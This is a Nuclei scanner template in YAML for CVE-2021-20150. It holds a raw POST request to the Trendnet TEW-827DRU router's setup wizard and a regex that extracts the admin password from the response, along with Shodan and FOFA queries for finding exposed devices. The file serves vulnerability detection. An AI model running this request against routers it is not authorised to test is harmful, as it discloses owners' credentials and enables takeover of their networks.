68 lines
2.2 KiB
YAML
68 lines
2.2 KiB
YAML
id: CVE-2021-20150
|
|
|
|
info:
|
|
name: Trendnet AC2600 TEW-827DRU - Credentials Disclosure
|
|
author: gy741
|
|
severity: medium
|
|
description: Trendnet AC2600 TEW-827DRU version 2.08B01 improperly discloses information via redirection from the setup wizard. A user may view information as Admin by manually browsing to the setup wizard and forcing it to redirect to the desired page.
|
|
impact: |
|
|
An attacker can obtain sensitive credentials, leading to unauthorized access to the router.
|
|
remediation: |
|
|
Update the router firmware to the latest version to fix the vulnerability.
|
|
reference:
|
|
- https://www.tenable.com/security/research/tra-2021-54
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-20150
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2021-20150
|
|
cwe-id: CWE-306
|
|
epss-score: 0.19434
|
|
epss-percentile: 0.95837
|
|
cpe: cpe:2.3:o:trendnet:tew-827dru_firmware:2.08b01:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: trendnet
|
|
product: tew-827dru_firmware
|
|
shodan-query:
|
|
- http.html:"TEW-827DRU"
|
|
- http.html:"tew-827dru"
|
|
fofa-query: body="tew-827dru"
|
|
tags: cve2021,cve,disclosure,router,tenable,trendnet
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /apply_sec.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
action=setup_wizard_cancel&html_response_page=ftpserver.asp&html_response_return_page=ftpserver.asp
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'ftp_username'
|
|
- 'ftp_password'
|
|
- 'ftp_permission'
|
|
- 'TEW-827DRU'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: password
|
|
group: 1
|
|
regex:
|
|
- '<input name="admin_passwd" type="password" id="admin_passwd" size="20" maxlength="15" value ="(.*)" />'
|
|
part: body
|
|
# digest: 4a0a00473045022100a321be14f14f895f997662ab1f3eb21e49f54f02bb21c499a41c8273bb5ac2610220056a91edd9815b16d3c3471089318a7e0450abb55fd28cdef77f09ea10983476:922c64590222798bb761d5b6d8e72950 |